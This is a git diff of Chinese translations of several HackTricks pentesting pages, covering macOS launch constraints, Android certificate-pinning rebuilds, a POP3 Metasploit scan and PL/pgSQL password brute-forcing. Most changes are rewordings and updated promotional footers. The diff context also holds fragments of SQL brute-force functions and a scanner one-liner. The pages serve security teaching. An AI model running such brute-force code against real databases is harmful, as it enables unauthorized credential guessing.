您可以使用 [**pyimg4**](https://github.com/m1stadev/PyIMG4) 来提取数据库的有效载荷:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -114,9 +115,9 @@ pyimg4 im4p extract -i /System/Library/Security/OSLaunchPolicyData -o /tmp/OSLau
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
(另一个选择是使用工具[**img4tool**](https://github.com/tihmstar/img4tool),即使发布版本较旧且适用于x86\_64,如果您将其安装在正确的位置,它也可以在M1上运行)。
|
(另一个选项是使用工具 [**img4tool**](https://github.com/tihmstar/img4tool),即使发布版本较旧,它也可以在 M1 上运行,并且如果您将其安装在正确的位置,它也可以在 x86\_64 上运行)。
|
||||||
|
|
||||||
现在,您可以使用工具[**trustcache**](https://github.com/CRKatri/trustcache)以可读格式获取信息:
|
现在您可以使用工具 [**trustcache**](https://github.com/CRKatri/trustcache) 以可读格式获取信息:
|
||||||
```bash
|
```bash
|
||||||
# Install
|
# Install
|
||||||
wget https://github.com/CRKatri/trustcache/releases/download/v2.0/trustcache_macos_arm64
|
wget https://github.com/CRKatri/trustcache/releases/download/v2.0/trustcache_macos_arm64
|
||||||
|
@ -140,7 +141,7 @@ entry count = 969
|
||||||
01e6934cb8833314ea29640c3f633d740fc187f2 [none] [2] [2]
|
01e6934cb8833314ea29640c3f633d740fc187f2 [none] [2] [2]
|
||||||
020bf8c388deaef2740d98223f3d2238b08bab56 [none] [2] [3]
|
020bf8c388deaef2740d98223f3d2238b08bab56 [none] [2] [3]
|
||||||
```
|
```
|
||||||
信任缓存遵循以下结构,因此**LC类别是第4列**
|
信任缓存遵循以下结构,因此 **LC 类别是第 4 列**
|
||||||
```c
|
```c
|
||||||
struct trust_cache_entry2 {
|
struct trust_cache_entry2 {
|
||||||
uint8_t cdhash[CS_CDHASH_LEN];
|
uint8_t cdhash[CS_CDHASH_LEN];
|
||||||
|
@ -150,48 +151,49 @@ uint8_t constraintCategory;
|
||||||
uint8_t reserved0;
|
uint8_t reserved0;
|
||||||
} __attribute__((__packed__));
|
} __attribute__((__packed__));
|
||||||
```
|
```
|
||||||
然后,您可以使用[**此脚本**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30)来提取数据。
|
然后,您可以使用像[**这个**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30)这样的脚本来提取数据。
|
||||||
|
|
||||||
从这些数据中,您可以检查具有`0`启动约束值的应用程序,这些应用程序是没有受到约束的([**在此处检查**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056)每个值代表什么)。
|
从这些数据中,您可以检查具有**启动约束值为`0`**的应用程序,这些应用程序没有受到约束([**在这里检查**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056)每个值的含义)。
|
||||||
|
|
||||||
## 攻击缓解
|
## 攻击缓解措施
|
||||||
|
|
||||||
启动约束将通过**确保进程不会在意外条件下执行**来缓解几种旧攻击:例如来自意外位置的执行或被意外父进程调用(如果只有launchd应该启动它)。
|
启动约束可以通过**确保进程不会在意外条件下执行**来缓解几种旧攻击:例如,从意外位置启动或被意外的父进程调用(如果只有launchd应该启动它)。
|
||||||
|
|
||||||
此外,启动约束还**缓解了降级攻击**。
|
此外,启动约束还**缓解降级攻击**。
|
||||||
|
|
||||||
然而,它们**无法缓解常见的XPC**滥用、**Electron**代码注入或没有库验证的**dylib注入**(除非已知可以加载库的团队ID)。
|
然而,它们**并不缓解常见的XPC**滥用、**Electron**代码注入或**dylib注入**,而不进行库验证(除非可以加载库的团队ID是已知的)。
|
||||||
|
|
||||||
### XPC守护程序保护
|
### XPC守护进程保护
|
||||||
|
|
||||||
在Sonoma版本中,一个值得注意的点是守护程序XPC服务的**责任配置**。XPC服务对自身负责,而不是连接的客户端负责。这在反馈报告FB13206884中有记录。这种设置可能看起来有缺陷,因为它允许与XPC服务进行某些交互:
|
在Sonoma版本中,一个显著的点是守护进程XPC服务的**责任配置**。XPC服务对自己负责,而不是连接的客户端负责。这在反馈报告FB13206884中有记录。这个设置可能看起来有缺陷,因为它允许与XPC服务进行某些交互:
|
||||||
|
|
||||||
- **启动XPC服务**:如果被认为是一个错误,这种设置不允许通过攻击者代码启动XPC服务。
|
- **启动XPC服务**:如果被认为是一个bug,这个设置不允许通过攻击者代码启动XPC服务。
|
||||||
- **连接到活动服务**:如果XPC服务已经运行(可能由其原始应用程序激活),则连接到它没有障碍。
|
- **连接到活动服务**:如果XPC服务已经在运行(可能由其原始应用程序激活),则没有连接到它的障碍。
|
||||||
|
|
||||||
尽管对XPC服务实施约束可能有助于**缩小潜在攻击的窗口**,但它并未解决主要问题。确保XPC服务的安全性基本上需要**有效验证连接的客户端**。这仍然是加固服务安全性的唯一方法。另外值得注意的是,所述的责任配置目前正在运行,这可能与预期的设计不符。
|
虽然对XPC服务实施约束可能通过**缩小潜在攻击的窗口**而有益,但它并没有解决主要问题。确保XPC服务的安全性根本上需要**有效验证连接的客户端**。这仍然是加强服务安全性的唯一方法。此外,值得注意的是,提到的责任配置目前是有效的,这可能与预期设计不符。
|
||||||
|
|
||||||
### Electron保护
|
### Electron保护
|
||||||
|
|
||||||
即使要求应用程序必须在**由LaunchService打开**(在父级约束中)。这可以通过**`open`**(可以设置环境变量)或使用**Launch Services API**(可以指定环境变量)来实现。
|
即使要求应用程序必须**通过LaunchService打开**(在父约束中)。这可以通过使用**`open`**(可以设置环境变量)或使用**Launch Services API**(可以指示环境变量)来实现。
|
||||||
|
|
||||||
## 参考资料
|
## 参考文献
|
||||||
|
|
||||||
* [https://youtu.be/f1HA5QhLQ7Y?t=24146](https://youtu.be/f1HA5QhLQ7Y?t=24146)
|
* [https://youtu.be/f1HA5QhLQ7Y?t=24146](https://youtu.be/f1HA5QhLQ7Y?t=24146)
|
||||||
* [https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/)
|
* [https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/)
|
||||||
* [https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/](https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/)
|
* [https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/](https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/)
|
||||||
* [https://developer.apple.com/videos/play/wwdc2023/10266/](https://developer.apple.com/videos/play/wwdc2023/10266/)
|
* [https://developer.apple.com/videos/play/wwdc2023/10266/](https://developer.apple.com/videos/play/wwdc2023/10266/)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
学习和实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
学习和实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>支持HackTricks</summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗?您想看到您的**公司在HackTricks中做广告**吗?或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) **Discord群**](https://discord.gg/hRep4RUj7f) 或**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
|
||||||
* 通过向**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧**
|
|
||||||
*
|
|
||||||
* .
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -7,8 +7,8 @@
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -21,7 +21,7 @@
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
一些应用程序不喜欢用户下载的证书,因此为了检查某些应用的网络流量,我们实际上需要反编译应用程序,添加一些内容并重新编译它。
|
有些应用程序不喜欢用户下载的证书,因此为了检查某些应用的网络流量,我们实际上需要反编译应用程序,添加一些内容并重新编译它。
|
||||||
|
|
||||||
# 自动
|
# 自动
|
||||||
|
|
||||||
|
@ -58,28 +58,23 @@
|
||||||
</base-config>
|
</base-config>
|
||||||
</network-security-config>
|
</network-security-config>
|
||||||
```
|
```
|
||||||
然后保存文件,退出所有目录,并使用以下命令重建apk: `apktool b *folder-name/* -o *output-file.apk*`
|
然后保存文件并退出所有目录,使用以下命令重建apk: `apktool b *folder-name/* -o *output-file.apk*`
|
||||||
|
|
||||||
![](../../.gitbook/assets/img12.png)
|
![](../../.gitbook/assets/img12.png)
|
||||||
|
|
||||||
最后,您只需**签署新应用程序**。 [阅读此页面的Smali - 反编译/\[修改\]/编译部分以了解如何签署它](smali-changes.md#sing-the-new-apk)。
|
最后,您只需**签署新应用程序**。[阅读此页面的Smali - 反编译/\[修改\]/编译部分以了解如何签署它](smali-changes.md#sing-the-new-apk)。
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
学习和实践AWS黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
学习和实践GCP黑客攻击:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
**Try Hard Security Group**
|
<summary>支持HackTricks</summary>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR分享黑客技巧。
|
||||||
|
|
||||||
<summary><strong>从零到英雄学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
|
||||||
|
|
||||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
|
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏
|
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注我们。**
|
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -151,15 +151,17 @@ Note: sourced from https://github.com/carlospolop/legion
|
||||||
Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {IP}; set RPORT 110; run; exit'
|
Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {IP}; set RPORT 110; run; exit'
|
||||||
|
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零到英雄学习 AWS 黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 你在一家 **网络安全公司** 工作吗?你想在 HackTricks 上看到你的 **公司广告** 吗?或者你想访问 **最新版本的 PEASS 或下载 HackTricks 的 PDF** 吗?查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||||
* 获取 [**官方 PEASS & HackTricks 周边**](https://peass.creator-spring.com)
|
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
||||||
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧**。
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,30 +1,36 @@
|
||||||
# Cypher注入(neo4j)
|
# Cypher Injection (neo4j)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 探索我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||||
* 获取[**官方PEASS和HackTricks商品**](https://peass.creator-spring.com)
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在Twitter上** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我。
|
|
||||||
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
查看以下博客:
|
查看以下博客:
|
||||||
|
|
||||||
* [https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits)
|
* [https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits)
|
||||||
* [https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8)
|
* [https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 探索我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||||
* 获取[**官方PEASS和HackTricks商品**](https://peass.creator-spring.com)
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在Twitter上** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我。
|
|
||||||
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,46 +1,49 @@
|
||||||
# PL/pgSQL密码暴力破解
|
# PL/pgSQL 密码暴力破解
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗?您想看到您的**公司在HackTricks中做广告**吗?或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) **Discord群**](https://discord.gg/hRep4RUj7f) **或**[**电报群**](https://t.me/peass) **或在Twitter上关注我** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
**在原始论文中查找[关于这些攻击的更多信息](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**。
|
**在原始文档中找到[更多关于这些攻击的信息](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**。
|
||||||
|
|
||||||
PL/pgSQL是一种**功能齐全的编程语言**,通过提供**增强的过程控制**,扩展了SQL的功能。这包括利用循环和各种控制结构。使用PL/pgSQL语言编写的函数可以被SQL语句和触发器调用,扩大了数据库环境中的操作范围。
|
PL/pgSQL 是一种 **功能齐全的编程语言**,通过提供 **增强的过程控制** 超越了 SQL 的能力。这包括使用循环和各种控制结构。用 PL/pgSQL 语言编写的函数可以通过 SQL 语句和触发器调用,从而扩展数据库环境中的操作范围。
|
||||||
|
|
||||||
您可以滥用这种语言,要求PostgreSQL暴力破解用户凭据,但它必须存在于数据库中。您可以使用以下方法验证其存在:
|
您可以利用这种语言要求 PostgreSQL 暴力破解用户凭据,但它必须存在于数据库中。您可以使用以下方法验证它的存在:
|
||||||
```sql
|
```sql
|
||||||
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
|
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
|
||||||
lanname | lanacl
|
lanname | lanacl
|
||||||
---------+---------
|
---------+---------
|
||||||
plpgsql |
|
plpgsql |
|
||||||
```
|
```
|
||||||
默认情况下,**创建函数是授予PUBLIC的权限**,其中PUBLIC指的是数据库系统中的每个用户。为了防止这种情况发生,管理员可能需要从PUBLIC域中撤销USAGE权限:
|
默认情况下,**创建函数是授予PUBLIC的特权**,其中PUBLIC指的是该数据库系统上的每个用户。为了防止这种情况,管理员可能需要从PUBLIC域撤销USAGE特权:
|
||||||
```sql
|
```sql
|
||||||
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
|
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
|
||||||
```
|
```
|
||||||
在这种情况下,我们先前的查询将输出不同的结果:
|
在这种情况下,我们之前的查询将输出不同的结果:
|
||||||
```sql
|
```sql
|
||||||
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
|
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
|
||||||
lanname | lanacl
|
lanname | lanacl
|
||||||
---------+-----------------
|
---------+-----------------
|
||||||
plpgsql | {admin=U/admin}
|
plpgsql | {admin=U/admin}
|
||||||
```
|
```
|
||||||
请注意,为了使以下脚本正常工作,**需要存在`dblink`函数**。如果不存在,您可以尝试使用以下方法创建:
|
注意,以下脚本要正常工作**需要存在函数 `dblink`**。如果不存在,您可以尝试通过
|
||||||
```sql
|
```sql
|
||||||
CREATE EXTENSION dblink;
|
CREATE EXTENSION dblink;
|
||||||
```
|
```
|
||||||
## 密码暴力破解
|
## 密码暴力破解
|
||||||
|
|
||||||
以下是如何执行4个字符密码的暴力破解:
|
这里是如何执行一个4个字符的密码暴力破解:
|
||||||
```sql
|
```sql
|
||||||
//Create the brute-force function
|
//Create the brute-force function
|
||||||
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
||||||
|
@ -79,9 +82,9 @@ $$ LANGUAGE 'plpgsql';
|
||||||
//Call the function
|
//Call the function
|
||||||
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
|
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
|
||||||
```
|
```
|
||||||
_请注意,即使是暴力破解4个字符的密码也可能需要几分钟的时间。_
|
_请注意,即使是暴力破解4个字符也可能需要几分钟。_
|
||||||
|
|
||||||
您还可以**下载一个单词列表**,然后只尝试这些密码(字典攻击):
|
您还可以**下载一个字典**并仅尝试那些密码(字典攻击):
|
||||||
```sql
|
```sql
|
||||||
//Create the function
|
//Create the function
|
||||||
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
||||||
|
@ -116,14 +119,17 @@ $$ LANGUAGE 'plpgsql'
|
||||||
-- Call the function
|
-- Call the function
|
||||||
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
|
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
